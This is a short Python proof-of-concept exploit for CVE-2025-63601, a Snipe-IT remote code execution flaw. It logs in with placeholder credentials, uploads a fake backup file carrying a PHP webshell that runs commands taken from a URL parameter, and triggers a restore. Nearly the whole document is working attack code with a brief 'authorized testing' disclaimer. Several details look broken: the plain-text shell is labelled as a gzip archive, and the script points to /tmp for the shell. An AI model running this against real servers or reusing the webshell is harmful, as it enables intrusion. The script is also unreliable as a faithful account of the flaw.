CVE-2025-63601: Snipe-IT < 8.3.3 远程代码执行漏洞

import requests import json import sys # CVE-2025-63601 PoC - Snipe-IT < 8.3.3 Authenticated RCE via Malicious Backup # This PoC demonstrates the vulnerability (for authorized security testing only) TARGET_URL = "https://target-snipe-it.com" USERNAME = "[email protected]" PASSWORD = "password123" def exploit_cve_2025_63601(): """ Exploitation steps: 1. Authenticate to Snipe-IT with low-privilege user 2. Upload malicious backup file containing PHP webshell 3. Trigger backup restore to execute arbitrary code """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{TARGET_URL}/api/v1/login" login_data = { "email": USERNAME, "password": PASSWORD } try: response = session.post(login_url, json=login_data, timeout=30) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Create malicious backup with embedded payload backup_url = f"{TARGET_URL}/api/v1/backups" malicious_backup = create_malicious_backup() upload_response = session.post(backup_url, files=malicious_backup) if upload_response.status_code == 200: print("[+] Malicious backup uploaded successfully") # Step 3: Trigger restore to execute code restore_url = f"{TARGET_URL}/api/v1/backups/restore" restore_response = session.post(restore_url, timeout=30) if restore_response.status_code == 200: print("[+] RCE Exploit successful! Check /tmp/shell.php") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def create_malicious_backup(): """ Creates backup containing PHP webshell """ webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" return { "backup": ("backup.tar.gz", webshell, "application/x-gzip") } if __name__ == "__main__": print("CVE-2025-63601 PoC - Snipe-IT RCE") print("Author: Security Researcher") print("=" * 50) exploit_cve_2025_63601()